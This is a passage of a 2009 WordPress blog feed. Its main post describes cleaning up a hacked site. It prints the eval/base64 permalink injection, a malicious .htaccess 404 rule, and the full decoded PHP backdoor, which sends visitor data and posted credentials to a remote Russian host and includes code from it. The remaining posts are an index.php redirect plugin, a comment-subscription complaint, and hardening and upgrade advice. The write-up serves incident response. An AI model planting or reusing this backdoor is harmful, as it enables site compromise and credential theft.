<p>This blog was hit recently by the same attack that has been in the news for the last few days. <a href="http://lorelle.wordpress.com/2009/09/04/old-wordpress-versions-under-attack/">Lorelle on WordPress</a> wrote some things about it:</p>
<blockquote><p>There are two clues that your WordPress site has been attacked.</p>
<p>There are strange additions to the pretty permalinks, such as <code>example.com/category/post-title/%&amp;(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&amp;%/</code>. The keywords are “eval” and “base64_decode.”</p>
<p>The second clue is that a “back door” was created by a “hidden” Administrator. Check your site users for “Administrator (2)” or a name you do not recognize. You will probably be unable to access that account, but <a title="Journey Etc - WordPress Permalink RSS Problems" href="http://www.journeyetc.com/2009/09/04/wordpress-permalink-rss-problems/">Journey Etc. has a possible solution</a>.</p></blockquote>
<p>This blog was different in that there were no other admin accounts created. The same code was appearing in permalinks ( and was, indeed, shown in Settings -&gt; Permalinks ).</p>
<p>Another symptom of this type of general attack are posts that are filled with spam links enclosed within HTML comment tags. You&#8217;ll not see them, but Google does.</p>
<p>Looking a little deeper, I found evidence of <em><strong>another </strong></em>previous hack job. The server error log contained hundreds of these entries:<span id="more-278"></span></p>
<pre class="brush: plain;">
[Wed Sep  8 11:40:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/downlaod.nod.32.php
[Wed Sep  8 11:38:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/instalation.com.php
[Wed Sep  8 11:38:04 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/muonline.win_mu.php
[Wed Sep  8 11:36:19 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/DV-driver.crack.php
[Wed Sep  8 11:35:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/koolmoves.5.key.php
[Wed Sep  8 11:34:34 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/inurl:.free.xxx.php
[Wed Sep  8 11:33:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crak.do.flash.5.php
[Wed Sep  8 11:32:23 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/wow.1.10.2.enus.php
[Wed Sep  8 11:31:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/torrent.stylexp.php
[Wed Sep  8 11:28:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crack.for.harry.php
</pre>
<p>WTF? 66.249.71.154, according to reverse IP lookup, is Googlebot. Why is Googlebot trying to load these files? Still haven&#8217;t found the answer to THAT question. But what I find next begins to shed some light&#8230;</p>
<p>I poke around in the filesystem, and I find a number of folders within the WordPress wp-content folder that had extra files added to them (including the plugins/podpress folder):</p>
<p>.htaccess<br />
date.php<br />
time.php<br />
include.php</p>
<p>The filenames between the folders were all different, with the exception that they all had an .htaccess file. Here&#8217;s what was in .htaccess file in the wp-content/header folder:</p>
<pre class="brush: plain;">
Options -MultiViews

ErrorDocument 404 //wp-content/header/time.php
</pre>
<p>So what&#8217;s happening is that any request for http://domain.com/wp-content/themes/header/anyfilename.php would result in time.php being served as the 404 page.</p>
<p>And time.php (along with all the other added php files) is a nasty little bugger:</p>
<pre class="brush: php;">

&lt;?php
error_reporting(0);
$p=&quot;bcjihzzazbzgc&quot;;
eval(base64_decode(&quot;Y2xhc3MgbmV3aH... more characters here, several K's worth ... R0cHsNCnZhciAkZnVsbX0=&quot;));
?&gt;
</pre>
<p>So the code turns off error reporting, then says to eval (run) the code enclosed in quote marks after base64 decoding. I haven&#8217;t taken the time to figure out what the class that the file defines <strong>does</strong>, but somehow I don&#8217;t think it&#8217;s anything nice. After decoding, this is the file contents:</p>
<pre class="brush: php;">

&lt;?php
class newhttp {var $fullurl;var $p_url;var $conn_id;var $flushed;var $mode = 4;var $defmode;var $redirects = 0;var $binary;var $options;var $stat = array('dev' =&gt; 0,'ino' =&gt; 0,'mode' =&gt; 0,'nlink' =&gt; 1,'uid' =&gt; 0,'gid' =&gt; 0,'rdev' =&gt; -1,'size' =&gt; 0,'atime' =&gt; 0,'mtime' =&gt; 0,'ctime' =&gt; 0,'blksize' =&gt; -1,'blocks' =&gt; 0);
function error($msg='not connected') {if ($this-&gt;options &amp; STREAM_REPORT_ERRORS) {trigger_error($msg, E_USER_WARNING);}return false;}
function stream_open($path, $mode, $options, $opened_path) {$this-&gt;fullurl = $path;$this-&gt;options = $options;$this-&gt;defmode = $mode;$url = parse_url($path);if (empty($url['host'])) {return $this-&gt;error('missing host name');}$this-&gt;conn_id = fsockopen($url['host'], (empty($url['port']) ? 80 : intval($url['port'])), $errno, $errstr, 2);if (!$this-&gt;conn_id) {return false;} if (empty($url['path'])) {$url['path'] = '/';}$this-&gt;p_url = $url;$this-&gt;flushed = false;if ($mode[0] != 'r' || (strpos($mode, '+') !== false)) {$this-&gt;mode += 2;}$this-&gt;binary = (strpos($mode, 'b') !== false);$c = $this-&gt;context();if (!isset($c['method'])) {stream_context_set_option($this-&gt;context, 'http', 'method', 'GET');}if (!isset($c['header'])) {stream_context_set_option($this-&gt;context, 'http', 'header', '');}if (!isset($c['user_agent'])) {stream_context_set_option($this-&gt;context, 'http', 'user_agent', ini_get('user_agent'));}if (!isset($c['content'])) {stream_context_set_option($this-&gt;context, 'http', 'content', '');}if (!isset($c['max_redirects'])) {stream_context_set_option($this-&gt;context, 'http', 'max_redirects', 5);}return true;}
function stream_close() { if ($this-&gt;conn_id) { fclose($this-&gt;conn_id);$this-&gt;conn_id = null;} }
function stream_read($bytes) { if (!$this-&gt;conn_id) { return $this-&gt;error();} if (!$this-&gt;flushed &amp;&amp; !$this-&gt;stream_flush()) { return false;} if (feof($this-&gt;conn_id)) { return '';} $bytes = max(1,$bytes);if ($this-&gt;binary) { return fread($this-&gt;conn_id, $bytes);} else { return fgets($this-&gt;conn_id, $bytes);} }
function stream_write($data) { if (!$this-&gt;conn_id) { return $this-&gt;error();} if (!$this-&gt;mode &amp; 2) { return $this-&gt;error('Stream is in read-only mode');} $c = $this-&gt;context();stream_context_set_option($this-&gt;context, 'http', 'method', (($this-&gt;defmode[0] == 'x') ? 'PUT' : 'POST'));if (stream_context_set_option($this-&gt;context, 'http', 'content', $c['content'].$data)) { return strlen($data);} return 0;}
function stream_eof() { if (!$this-&gt;conn_id) { return true;} if (!$this-&gt;flushed) { return false;} return feof($this-&gt;conn_id);}
function stream_seek($offset, $whence) { return false;}
function stream_tell() { return 0;}
function stream_flush() { if ($this-&gt;flushed) { return false;} if (!$this-&gt;conn_id) { return $this-&gt;error();} $c = $this-&gt;context();$this-&gt;flushed = true;$RequestHeaders = array($c['method'].' '.$this-&gt;p_url['path'].(empty($this-&gt;p_url['query']) ? '' : '?'.$this-&gt;p_url['query']).' HTTP/1.0', 'HOST: '.$this-&gt;p_url['host'], 'User-Agent: '.$c['user_agent'].' StreamReader' );if (!empty($c['header'])) { $RequestHeaders[] = $c['header'];} if (!empty($c['content'])) { if ($c['method'] == 'PUT') { $RequestHeaders[] = 'Content-Type: '.($this-&gt;binary ? 'application/octet-stream' : 'text/plain');} else { $RequestHeaders[] = 'Content-Type: application/x-www-form-urlencoded';} $RequestHeaders[] = 'Content-Length: '.strlen($c['content']);} $RequestHeaders[] = 'Connection: close';if (fwrite($this-&gt;conn_id, implode(&quot;\r\n&quot;, $RequestHeaders).&quot;\r\n\r\n&quot;) === false) { return false;} if (!empty($c['content']) &amp;&amp; fwrite($this-&gt;conn_id, $c['content']) === false) { return false;} global $http_response_header;$http_response_header = fgets($this-&gt;conn_id, 300);$data = rtrim($http_response_header);preg_match('#.* ([0-9]+) (.*)#i', $data, $head);if (($head[1] &gt;= 301 &amp;&amp; $head[1] &lt;= 303) || $head[1] == 307) { $data = rtrim(fgets($this-&gt;conn_id, 300));while (!empty($data)) { if (strpos($data, 'Location: ') !== false) { $new_location = trim(str_replace('Location: ', '', $data));break;} $data = rtrim(fgets($this-&gt;conn_id, 300));} trigger_error($this-&gt;fullurl.' '.$head[2].': '.$new_location, E_USER_NOTICE);$this-&gt;stream_close();return ($c['max_redirects'] &gt; $this-&gt;redirects++ &amp;&amp; $this-&gt;stream_open($new_location, $this-&gt;defmode, $this-&gt;options, null) &amp;&amp; $this-&gt;stream_flush());} $data = rtrim(fgets($this-&gt;conn_id, 1024));while (!empty($data)) { $http_response_header .= $data.&quot;\r\n&quot;;if (strpos($data,'Content-Length: ') !== false) { $this-&gt;stat['size'] = trim(str_replace('Content-Length: ', '', $data));} elseif (strpos($data,'Date: ') !== false) { $this-&gt;stat['atime'] = strtotime(str_replace('Date: ', '', $data));} elseif (strpos($data,'Last-Modified: ') !== false) { $this-&gt;stat['mtime'] = strtotime(str_replace('Last-Modified: ', '', $data));} $data = rtrim(fgets($this-&gt;conn_id, 1024));} if ($head[1] &gt;= 400) { trigger_error($this-&gt;fullurl.' '.$head[2], E_USER_WARNING);return false;} if ($head[1] == 304) { trigger_error($this-&gt;fullurl.' '.$head[2], E_USER_NOTICE);return false;} return true;}
function stream_stat() { $this-&gt;stream_flush();return $this-&gt;stat;}
function dir_opendir($path, $options) { return false;}
function dir_readdir() { return '';}
function dir_rewinddir() { return '';}
function dir_closedir() { return;}
function url_stat($path, $flags) { return array();}
function context() { if (!$this-&gt;context) { $this-&gt;context = stream_context_create();} $c = stream_context_get_options($this-&gt;context);return (isset($c['http']) ? $c['http'] : array());}}
if(isset($_POST[&quot;l&quot;]) and isset($_POST[&quot;p&quot;])){if(isset($_POST[&quot;input&quot;])){$user_auth=&quot;&amp;l=&quot;.base64_encode($_POST[&quot;l&quot;]).&quot;&amp;p=&quot;.base64_encode(md5($_POST[&quot;p&quot;]));} else {$user_auth=&quot;&amp;l=&quot;.$_POST[&quot;l&quot;].&quot;&amp;p=&quot;.$_POST[&quot;p&quot;];}} else {$user_auth=&quot;&quot;;}if(!isset($_POST[&quot;log_flg&quot;])){$log_flg=&quot;&amp;log&quot;;}$rkht=1;if(version_compare(PHP_VERSION,'5.2','&gt;=')){if(ini_get('allow_url_include')){$rkht=1;}else{$rkht=0;}}if($rkht==1){if(ini_get('allow_url_fopen')){$rkht=1;}else{$rkht=0;}}$v=$p.base64_decode(&quot;LnVzZXJzLmJpc2hlbGwucnU=&quot;).&quot;/?r_addr=&quot;.sprintf(&quot;%u&quot;, ip2long(getenv(&quot;REMOTE_ADDR&quot;))).&quot;&amp;url=&quot;.base64_encode($_SERVER[&quot;SERVER_NAME&quot;].$_SERVER[&quot;REQUEST_URI&quot;]).$user_auth.$log_flg;if($rkht==1){if(!@include_once(base64_decode(&quot;aHR0cDovLw==&quot;).$v)){}}else{stream_wrapper_register('http2','newhttp');if(!@include_once(base64_decode(&quot;aHR0cDI6Ly8=&quot;).$v)){}}
?&gt;
</pre>
<p>Anyway, that&#8217;s what I found, that&#8217;s what I had to clean up. <strong>Six and a half hours</strong> to go through all of the files looking for this thing, cleaning up as I went.</p>
<p>UPDATE:</p>
<p>Since writing this post, I&#8217;ve completed 4 more site cleanups &#8212; each averaging over 4 hours. Gets rather expensive, guys and girls.</p>
<p>Please keep your WordPress installs up to date. That&#8217;s the most efficient way to guard against this kind of maliciousness.</p>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>564 Total TweetBacks:</strong> (<a href='http://twitter.com/home?status=Cleaning+Up+the+Aftermath+of+a+Hacker+Attack+http://is.gd/35gKN+from:+@steveinidaho'>Tweet this post</a>) </div>
<p><a href="http://feedads.g.doubleclick.net/~a/Re456Yy1uVNI8XkqnmPAG7I-j4Q/0/da"><img src="http://feedads.g.doubleclick.net/~a/Re456Yy1uVNI8XkqnmPAG7I-j4Q/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/Re456Yy1uVNI8XkqnmPAG7I-j4Q/1/da"><img src="http://feedads.g.doubleclick.net/~a/Re456Yy1uVNI8XkqnmPAG7I-j4Q/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=UXVsHNUtSrg:Kc9oFo4KiEg:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=UXVsHNUtSrg:Kc9oFo4KiEg:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?i=UXVsHNUtSrg:Kc9oFo4KiEg:V_sGLiPBpWU" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/278/cleaning-up-the-aftermath-of-a-hacker-attack/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Loading WordPress From index.php</title>
		<link>http://ilikewordpress.com/274/loading-wordpress-from-index-php/</link>
		<comments>http://ilikewordpress.com/274/loading-wordpress-from-index-php/#comments</comments>
		<pubDate>Wed, 09 Sep 2009 16:31:13 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[PHP goodies]]></category>
		<category><![CDATA[Troubleshooting WordPress issues]]></category>
		<category><![CDATA[WordPress plugins]]></category>
		<category><![CDATA[duplicate content]]></category>
		<category><![CDATA[index files]]></category>
		<category><![CDATA[url rewriting]]></category>
		<category><![CDATA[wordpress redirect]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=274</guid>
		<description><![CDATA[One of WordPress&#8217; strengths is its attention to SEO-related issues in its core files. One of those issues is the problem of having the home page of the blog indexed twice in the search engines; once under the actual address, http://domain-name.com/index.php, and the other as the plain domain name: http://domain-name.com. Note that this is a [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=Loading+WordPress+From+index.php+http://is.gd/359Fo+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=176' alt='' /></a></div>
<p>One of WordPress&#8217; strengths is its attention to SEO-related issues in its core files. One of those issues is the problem of having the home page of the blog indexed twice in the search engines; once under the actual address, <strong><span style="color: #e7847e;">http://domain-name.com/index.php</span></strong>, and the other as the plain domain name: <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>. Note that this is a different problem than the trailing slash problem ( <strong><span style="color: #e7847e;">http://domain-name.com/</span></strong> vs. <strong><span style="color: #e7847e;">http://domain-name.com</span></strong> ) which WordPress also takes care of.</p>
<p>WordPress handles the index.php problem by rewriting requests for <strong><span style="color: #e7847e;">http://domain-name.com/index.php</span></strong> to <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>. All well and good, and beneficial for most sites.</p>
<p>But that rewriting/redirecting caused some problems on a site I was working on yesterday, and once I figured out how, it was a relatively easy fix.<span id="more-274"></span></p>
<p>Here&#8217;s what happened: a client had me upgrade an old installation of SemioLogic&#8217;s version of WordPress to genuine WordPress. While it can be time-consuming, switching over is a fairly straightforward process most of the time. The challenge here was that while most of the site is normal .html files, WordPress is installed at the root level, and is not actually serving the &#8216;home&#8217; page of the site.</p>
<p>So you can maybe see where this is headed: the &#8216;home&#8217; page of the site is index.html. That&#8217;s what comes up when you ask for <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>. The server is set to look for index.html <strong>first</strong>, then index.php if index.html isn&#8217;t there. So to get to the blog, you had to ask for <strong><span style="color: #e7847e;">http://domain-name.com/index.php</span></strong>.</p>
<p>But when you asked for index.php, WordPress, being the dutiful SEO-friendly software that it is, stripped off &#8220;index.php&#8221; from the request, and redirected to <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>.</p>
<p>The server saw the request for the site index file and promptly served up index.html. So you couldn&#8217;t get to the home page of the blog. If you had a specific post URL and typed it in, it worked fine.</p>
<p>Easy fix, says I. Settings -&gt; General, change the WordPress url to <strong><span style="color: #e7847e;">http://domain-name.com/index.php</span></strong> from <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>.</p>
<p>Oops. Now all the permalinks have &#8216;index.php/&#8217; prepended: <strong><span style="color: #e7847e;">http://domain-name.com/index.php/i-want-this-post</span></strong>. Not good, and not intended, especially as the site has been indexed in Google without the index.php in there.</p>
<p>I never did figure out how SemioLogic handled this; obviously it was working before the changeover. Undoubtedly there was an easy setting that disappeared once the SL files were gone. I can only think this issue had come up before and the author of SL provided a workaround.</p>
<p>Thankfully, the coders of WordPress also recognized that there may be a time when rewriting URLs wasn&#8217;t good so they provided a filter to disable or alter the rewrite. Once I found that notation in includes/canonical.php, the fix was a breeze. Write a plugin that disables the redirect to / when /index.php is called for. Here is the entire plugin:</p>
<pre class="brush: php;">
&lt;?php
/*
Plugin Name: Index.php fix
Plugin URI: http://ilikewordpress.com/loading-wordpress-from-index-php
Description: This plugin allows a blog installed at root to be addressed by /index.php. Remedies stripping of filename by includes/canonical.php
Author: Steve Johnson
Version: 1.0
Author URI: http://ilikewordpress.com/
*/

/*
*    Applies filter to redirect_canonical to defeat
*    stripping of index.php file
*/

function fix_index( $requested_url ) {
 if ( get_bloginfo( 'url' ) == $requested_url )
 return false;
}
add_filter( 'redirect_canonical', 'fix_index' );

?&gt;
</pre>
<p>And that&#8217;s all there is to it. Now when a browser asks for &#8216;index.php&#8217;, that&#8217;s what it gets instead of a redirection to /.</p>
<p>You could also put this in the functions.php file of a theme, but obviously it wouldn&#8217;t work if the theme were changed.</p>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>176 Total TweetBacks:</strong> (<a href='http://twitter.com/home?status=Loading+WordPress+From+index.php+http://is.gd/359Fo+from:+@steveinidaho'>Tweet this post</a>) </div>
<p><a href="http://feedads.g.doubleclick.net/~a/aaGaTnpXTt_2zU4Lw9QiV7MuR0g/0/da"><img src="http://feedads.g.doubleclick.net/~a/aaGaTnpXTt_2zU4Lw9QiV7MuR0g/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/aaGaTnpXTt_2zU4Lw9QiV7MuR0g/1/da"><img src="http://feedads.g.doubleclick.net/~a/aaGaTnpXTt_2zU4Lw9QiV7MuR0g/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=K6uMkxvYTrs:3thgi76RTWE:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=K6uMkxvYTrs:3thgi76RTWE:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?i=K6uMkxvYTrs:3thgi76RTWE:V_sGLiPBpWU" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/274/loading-wordpress-from-index-php/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Don’t Subscribe To My Post Comments If You’re a SpamArrest Customer</title>
		<link>http://ilikewordpress.com/268/dont-subscribe-to-my-post-comments-if-youre-a-spamarrest-customer/</link>
		<comments>http://ilikewordpress.com/268/dont-subscribe-to-my-post-comments-if-youre-a-spamarrest-customer/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 22:03:13 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=268</guid>
		<description><![CDATA[On this and other blogs, I have a recurring pain in the butt issue. Some people subscribe to a comment thread, and upon every comment following, I get a challenge email from SpamArrest when the notification of a new comment email is sent. Here&#8217;s news: I don&#8217;t click the verify link. As a matter of [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=Don%27t+Subscribe+To+My+Post+Comments+If+You%27re+a+SpamArrest+Customer+http://is.gd/2Y7jK+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=tweet' alt='' /></a></div>
<p>On this and other blogs, I have a recurring pain in the butt issue. Some people subscribe to a comment thread, and upon every comment following, I get a challenge email from SpamArrest when the notification of a new comment email is sent.</p>
<p>Here&#8217;s news: <strong>I don&#8217;t click the verify link.</strong> As a matter of fact, I don&#8217;t even <strong><em>GET </em></strong>the verify link. All of those verification emails go straight to my trash can. I realize this might not be very reader-friendly, but I simply don&#8217;t have time to open up every email and click those stupid links, even if I were inclined to.</p>
<p>So please &#8211; if you&#8217;re a spamarrest customer and you want to subscribe to a comment thread, put ilikewordpress.com on whatever kind of whitelist they have so you can get the subscription notifications. Otherwise, you won&#8217;t get any notices from this site about updated comments.</p>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>No TweetBacks yet.</strong> (<a href='http://twitter.com/home?status=Don%27t+Subscribe+To+My+Post+Comments+If+You%27re+a+SpamArrest+Customer+http://is.gd/2Y7jK+from:+@steveinidaho'>Be the first to Tweet this post</a>)</div>
<p><a href="http://feedads.g.doubleclick.net/~a/6jxSZ-7PMnIsJuVi7QwCaT5LIXQ/0/da"><img src="http://feedads.g.doubleclick.net/~a/6jxSZ-7PMnIsJuVi7QwCaT5LIXQ/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/6jxSZ-7PMnIsJuVi7QwCaT5LIXQ/1/da"><img src="http://feedads.g.doubleclick.net/~a/6jxSZ-7PMnIsJuVi7QwCaT5LIXQ/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=Spq0ShHI3OI:9e1AFiMJl24:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=Spq0ShHI3OI:9e1AFiMJl24:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?i=Spq0ShHI3OI:9e1AFiMJl24:V_sGLiPBpWU" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/268/dont-subscribe-to-my-post-comments-if-youre-a-spamarrest-customer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Protecting Your WordPress Blog From Hackers, Crackers, and Jerks</title>
		<link>http://ilikewordpress.com/259/protecting-your-wordpress-blog-from-hackers-crackers-and-jerks/</link>
		<comments>http://ilikewordpress.com/259/protecting-your-wordpress-blog-from-hackers-crackers-and-jerks/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 20:15:35 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[Blogging in General]]></category>
		<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[WordPress Security]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=259</guid>
		<description><![CDATA[The last few days have seen a rash of hacker attacks on WordPress blogs, with isolated reports going back a month or more. Without exception, as far as I can tell, the successful attacks were on blogs running outdated older versions of WordPress. The latest exploits involve hidden admin users and permalinks polluted with javascript [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=Protecting+Your+WordPress+Blog+From+Hackers%2C+Crackers%2C+and+Jerks+http://is.gd/2XXlT+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=188' alt='' /></a></div>
<p>The last few days have seen a rash of hacker attacks on WordPress blogs, with isolated reports going back a month or more. Without exception, as far as I can tell, the successful attacks were on blogs running outdated older versions of WordPress. The latest exploits involve hidden admin users and permalinks polluted with javascript code, outlined in these posts on the WordPress support forum:</p>
<p><a rel="nofollow" href="http://wordpress.org/support/topic/307652">http://wordpress.org/support/topic/307652</a><br />
<a rel="nofollow" href="http://wordpress.org/support/topic/297639">http://wordpress.org/support/topic/297639</a><br />
<a rel="nofollow" href="http://wordpress.org/support/topic/307518">http://wordpress.org/support/topic/307518</a></p>
<p>WP 2.8.3 and 2.8.4 are <em><strong>NOT</strong></em> vulnerable to this exploit. If you&#8217;ve been hacked any time in the last month, and you&#8217;re running pre-2.8.3 software, the monkey&#8217;s on YOUR back. If you were hacked and running up-to-date version of WP, send the details to <a href="mailto:security@wordpress.org">security@wordpress.org</a> please.</p>
<p>If you&#8217;ve been lax and haven&#8217;t upgraded to the latest version, don&#8217;t do it until you&#8217;ve determined whether or not you&#8217;ve already been invaded. If you have, clean it up first, then upgrade. (Be sure you read the &#8220;<a href="#beyond-upgrading">Beyond Upgrading</a>&#8221; section at the end of this post)<span id="more-259"></span></p>
<h3>How To Tell If You&#8217;ve Been Hacked</h3>
<p>Two clues: check your permalinks, check your administrator users.</p>
<p>Permalinks: from your front page, hover over a link to a single post. Look in the status bar at the bottom of your browser. If you see text like &#8216;<strong>mypost/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/</strong>&#8216; then you&#8217;ve been had.</p>
<p>Log into your dashboard, go to the Users-&gt;Authors and Users page. At the top, you&#8217;ll see links that let you display users by their status. Look at the Administrator (x) link. How many admins do you have on your blog? If you&#8217;ve been hacked, the number in parentheses will be one higher than your actual admin count. In other words, if you&#8217;re a single-person blogger, you&#8217;ll see (2) for the Administrator count.</p>
<p>There are a couple of other hacks out there that aren&#8217;t related to this one; we&#8217;ll cover those in a little bit.</p>
<h3>What To Do If You&#8217;ve Been Hacked</h3>
<p>I&#8217;m going to be right up front with you &#8212; this one isn&#8217;t an easy one to clean up.</p>
<p><strong>Step #1: clean up your permalink structure.</strong> Hover over a link to a post on your blog, and make a note of your permalink structure. The two most popular permalink structures are &#8216;day &#8211; name&#8217;, i.e. <code>http://ilikewordpress.com/2009/09/06/sample-post/</code> or &#8216;month-name&#8217;, i.e. <code>http://ilikewordpress.com/2009/09/sample-post/</code> . Some more advanced users may have different setups.</p>
<p>In your Dashboard, go to Settings -&gt; Permalinks. In the input box, delete all the malicious code. What you leave will vary, determined by what your permalink structure was. If you&#8217;re using one of the two &#8216;standard&#8217; structures, select a different one, then reselect your original, then click the Update button. If you&#8217;re using a custom structure ( like I am on ilikewordpress.com ), you&#8217;ll need to clear the input box and enter the proper tags, i.e. <code>/%post_id%/%postname%/</code> like I have here.</p>
<p><strong>Step #2: get rid of the extra administrator.</strong> This is a little trickier. There are two ways to do this, first is through your Authors &amp; Users page, the second is directly through the database.</p>
<p>Method #1, through the Authors &amp; Users page: <a href="http://www.journeyetc.com/2009/09/04/wordpress-permalink-rss-problems/">follow the instructions here from Journey Etc.</a> to clean out the malicious user.</p>
<p>Method #2, directly through the database, is a little more complicated. <a href="/contact">Contact me</a> if you want instructions on how to do it. Generally, unless you have other issues, it&#8217;s much easier to use Method #1.</p>
<p>Step #3: upgrade your WordPress software.</p>
<p>If you&#8217;re stuck with using FTP, follow <a href="http://codex.wordpress.org/Upgrading_WordPress_Extended">these upgrade instructions from the WordPress Codex</a>.</p>
<p>If you&#8217;re lucky enough ( or had enough foresight ) to be on <a href="/hostgator">hosting that gives you shell access</a>, here&#8217;s a 5 minute upgrade path:</p>
<p>Log into your hosting account through your SSH client. Navigate to your WordPress folder. Do the following (don&#8217;t do the lines prefaced by ## ):</p>
<pre class="brush: bash;">

## move config.php out of the way

mv wp-config.php wp-config.php.bak

## get rid of existing WP files

rm -rf wp-includes wp-admin wp-*.php xmlrpc.php

## get new wordpress files

wget http://wordpress.org/latest.zip

## uncompress

unzip latest.zip

## unzipped files were stored in /wordpress, copy from there

cp -R wordpress/* .

## get rid of zip and wordpress dir

rm -rf wordpress latest.zip

## restore config

mv wp-config.php.bak wp-config.php

## done!
</pre>
<p>If you&#8217;ve followed the upgrade path through several versions, it is essential that you upgrade your wp-config.php file to the latest version that contains the authentication keys.</p>
<p>If you want to do it directly on your server through vim, you can, but it&#8217;s probably easier to make a new config file and upload it through FTP.<br />
<a name="beyond-upgrading"></a></p>
<h3>Beyond Upgrading</h3>
<p>After you&#8217;ve upgraded your WordPress software, you&#8217;ll want to make sure you&#8217;re doing everything you can to keep this from happening again. Unless, of course, you like cleaning up after these people.</p>
<p>To start, review Michael VanDeMar&#8217;s post on <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/">How to Completely Clean Your Hacked WordPress Installation</a>. Much good info there.</p>
<p>Second, install the <a href="http://wordpress.org/extend/plugins/wp-security-scan/">WP Security Scan</a> plugin and use it.</p>
<p>Third, don&#8217;t do stupid things. Use strong passwords, upgrade when new releases come out. They&#8217;re not just eye candy.</p>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>188 Total TweetBacks:</strong> (<a href='http://twitter.com/home?status=Protecting+Your+WordPress+Blog+From+Hackers%2C+Crackers%2C+and+Jerks+http://is.gd/2XXlT+from:+@steveinidaho'>Tweet this post</a>) </div>
<p><a href="http://feedads.g.doubleclick.net/~a/wJ0TLPmTVubuosXK7n0S8fetZZU/0/da"><img src="http://feedads.g.doubleclick.net/~a/wJ0TLPmTVubuosXK7n0S8fetZZU/0/di" border="0" ismap="true"></img></a><br/>
